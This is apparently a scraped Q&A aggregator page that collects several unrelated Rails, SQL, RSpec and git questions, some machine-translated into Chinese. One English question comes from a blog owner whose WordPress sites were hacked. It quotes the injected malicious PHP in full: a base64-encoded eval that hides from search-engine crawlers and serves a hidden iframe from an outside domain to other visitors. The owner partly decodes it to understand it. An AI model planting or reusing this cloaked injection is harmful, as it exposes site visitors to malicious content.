我不知道为什么这不起作用,我正在学习rails并且我正在读一本书,它说这样做:
<%= form_for([@article,@article.comments.new ], :remote=>true, :html => {:style=>'display: none;' }) do |f|%>
<div class="field">
<%= f.label :name %>
<%= f.text_field :name %>
</div>
<div class="field">
<%= f.label :email %>
<%= f.text_field :email %>
</div>
<div class="field">
<%= f.label :body %>
<%= f.text_area :body %>
</div>
<%= f.submit %>
<% end %>
Run Code Online (Sandbox Code Playgroud)
但它不起作用,当我在firebug中检查请求时,url不会以.js结尾,你有什么想法吗?
我的rails应用程序(全部是2.3.5)使用内联javascript,rjs,prototype和jquery的混合.让我们称之为学习或成长的痛苦.最近我越来越迷恋不引人注目的javascript.它使你的html干净,就像css清理它一样.
但我见过的大多数例子都是小例子,他们把所有javascript(jquery)放在application.js中
现在我有一个非常大的应用程序,我正在考虑如何构建我的js.我喜欢某种方式,我的脚本仍然靠近视图,所以我在想类似的东西
orders.html.erb
orders.js
Run Code Online (Sandbox Code Playgroud)
其中orders.js包含特定于该视图的不显眼的javascript.但也许这只是我过于保守:)
我看过耶胡达·卡茨一些职位,关于这个问题非常这里和这里,他铲球这个问题.它将遍历您的js文件,并仅加载与您的视图相关的文件.但唉,我找不到当前的实现.
所以我的问题:
content_for :script
或javascript_include_tag
在你的视图中加载相关的脚本.要么 ... ?简而言之:在rails中执行不显眼的javascript的最佳做法是什么?:)
以前,在rails 2.3.8中我使用了原型助手link_to_remote
和form_remote_for
(其中包括).
这些选项:update
如下:
link_to_remote "Add to cart",
:url => { :action => "add", :id => product.id },
:update => { :success => "cart", :failure => "error" }
Run Code Online (Sandbox Code Playgroud)
(文档中的一个例子).这个例子在成功更新带有"cart"类的html元素时,失败后会出现类"错误".
现在我相信作案手法已经改变了,而是我们写道:
link_to "Add to cart", :url => {:action => "add", :id => product.id},
:remote => true
Run Code Online (Sandbox Code Playgroud)
并且没有选项可以再设置:update
了.而不是普通的html,我们现在渲染javascript,就像这样(在jquery中):
$('.cart').replaceWith(<%= escape_javascript(render :partial => 'cart') %>)
Run Code Online (Sandbox Code Playgroud)
但是你如何处理错误情况呢?我是否在控制器中处理它,并使用单独的视图?
以某种方式能够模仿我们之前的行为似乎对我有用.有任何想法吗?
嗨,我有2个数组有不同的活动记录值来自同一个表,但有不同的值,我想结合两者然后排序created_at
,但没有得到任何线索,我被卡住了.请帮忙.
这是我的代码:
@find_user = EmployeeLeave.where(global_user_id: @allarray[i]).find(:all)
@all << @find_user
@find_referal_user = EmployeeLeave.where(referral_id: @allarray[i]).find(:all)
@all_entry << @find_referal_user
@total = @all + @all_entry
Run Code Online (Sandbox Code Playgroud)
任何事情都不起作用请帮助我排序@total
.
我有一个简单的控制器测试,包含以下代码:
context "POST :create" do
before (:each) do
post :create, :user_id => @user.id,
:account => { .. some data ... }
end
it { response.status.should == 201 }
it { response.location.should be_present }
end
Run Code Online (Sandbox Code Playgroud)
现在我想到了一种非常简单的方法来加速这个测试,并使用一个before(:all)
而不是一个before(:each)
.在这种情况下,帖子只会做一次.
所以我写道:
context "POST :create" do
before (:all) do
post :create, :user_id => @user.id,
:account => { .. some data ... }
end
it { response.status.should == 201 }
it { response.location.should be_present }
end
Run Code Online (Sandbox Code Playgroud)
但后来我收到以下错误:
RuntimeError:
@routes is nil: make sure …
Run Code Online (Sandbox Code Playgroud) I maintain three wordpress blogs, and yesterday-morning, they were all hacked.
Inside all my index.php
the first line looked as follows:
<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGlmcmFtZSBzcmM9Imh0dHA6Ly93dW1wZWFycG15LmN6LmNjL2dvLzEiIHdpZHRoPSIxIiBoZWlnaHQ9IjEiPjwvaWZyYW1lPic7DQp9'))
Run Code Online (Sandbox Code Playgroud)
Aside from fixing it (which seems to have worked), I am wondering what it does, and to what purpose.
So I decoded the inserted code:
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
array("216.239.32.0","216.239.63.255"),
array("64.68.80.0" ,"64.68.87.255" ),
array("66.102.0.0", "66.102.15.255"),
array("64.233.160.0","64.233.191.255"),
array("66.249.64.0", "66.249.95.255"),
array("72.14.192.0", "72.14.255.255"),
array("209.85.128.0","209.85.255.255"),
array("198.108.100.192","198.108.100.207"),
array("173.194.0.0","173.194.255.255"),
array("216.33.229.144","216.33.229.151"),
array("216.33.229.160","216.33.229.167"), …
Run Code Online (Sandbox Code Playgroud) 我想选择具有表中已存在的值的所有行.我找不到更好的解决方案
select *
from provisioning_requests tt
where code in (select code
from provisioning_requests tt2
where tt2.id <> tt.id)
Run Code Online (Sandbox Code Playgroud)
这似乎有点幼稚.有人有更好的解决方案吗?
当我在模型包上出现错误时,我总是看到第一行(英语=未翻译):
1 error prohibited this packet from being saved:
Naam Gelieve het veld Naam in te vullen!
Run Code Online (Sandbox Code Playgroud)
找到单个字段的错误的翻译!
虽然我有以下内容 nl.yml
nl:
activemodel:
errors:
template:
header:
one: "1 fout voorkwam dat dit %{model} kon bewaard worden"
other: "%{count} fouten voorkwamen dat deze %{model} kon bewaard worden"
body: "Er waren problemen met de volgende velden:"
errors:
template:
body: "Controleer alstublieft de volgende velden:"
header:
one: "Kon dit {{model}} object niet opslaan: 1 fout."
other: "Kon dit {{model}} niet opslaan: {{count}} fouten."
activerecord: …
Run Code Online (Sandbox Code Playgroud) 我正在使用遗留数据库,因此我无法控制数据模型.他们使用了很多多态链接/连接表,就像这样
create table person(per_ident, name, ...)
create table person_links(per_ident, obj_name, obj_r_ident)
create table report(rep_ident, name, ...)
Run Code Online (Sandbox Code Playgroud)
obj_name
table-name 在哪里,obj_r_ident
是标识符.所以链接的报告将插入如下:
insert into person(1, ...)
insert into report(1, ...)
insert into report(2, ...)
insert into person_links(1, 'REPORT', 1)
insert into person_links(1, 'REPORT', 2)
Run Code Online (Sandbox Code Playgroud)
然后,人1将有2个链接报告,1和2.
我可以理解像这样的数据模型可能带来的好处,但我主要看到一个很大的缺点:使用约束不可能确保数据完整性.但是,唉,我不能再改变它了.
但是要在Rails中使用它,我正在寻找多态关联,但没有找到一个很好的方法来解决这个问题(因为我不能改变列名,并且没有找到办法做到这一点).
我确实提出了一个解决方案.请提供建议.
class Person < ActiveRecord::Base
set_primary_key "per_ident"
set_table_name "person"
has_and_belongs_to_many :reports,
:join_table => "person_links",
:foreign_key => "per_ident",
:association_foreign_key => "obj_r_ident",
:conditions => "OBJ_NAME='REPORT'"
end
class Report < ActiveRecord::Base
set_primary_key "rep_ident"
set_table_name "report"
has_and_belongs_to_many :persons, …
Run Code Online (Sandbox Code Playgroud) 我使用本博客文章中描述的git工作流程.简而言之:每个人都在他/她自己的分支内部发展,在合并回主人之前,你再次将你的分支变为掌握以获得干净的历史.
这有效.
现在我们有一个子模块,因为这是一个内部插件(Rails),我们需要经常更改它.所以大多数时候我在一般分支和子模块分支都有变化.
如上所述,在工作流中使用子模块的最佳方法是什么.
我首先尝试将我的更改推送到子模块(git checkout master,git pull,git checkout branch,git rebase master,git checkout master,git merge branch).
然后,当我尝试为我的root做同样的事情时,我总是在我的插件(子模块)上出错.在做之前我必须解决错误git rebase --continue
.因此,如果git mergetool
我尝试将我的文件夹转换为文件.
在rebase结束后,我只是恢复<folder_name>.orig
以覆盖文件<folder_name>
,一切都很好.
但不知何故,它觉得应该有更好的方法.
简而言之:当通过checkout-b/rebase/merge - 工作流工作时,如何同时处理更改的子模块?
javascript ×2
jquery ×2
ruby ×2
activerecord ×1
ajax ×1
git ×1
postgresql ×1
rspec ×1
rspec2 ×1
security ×1
sorting ×1
sql ×1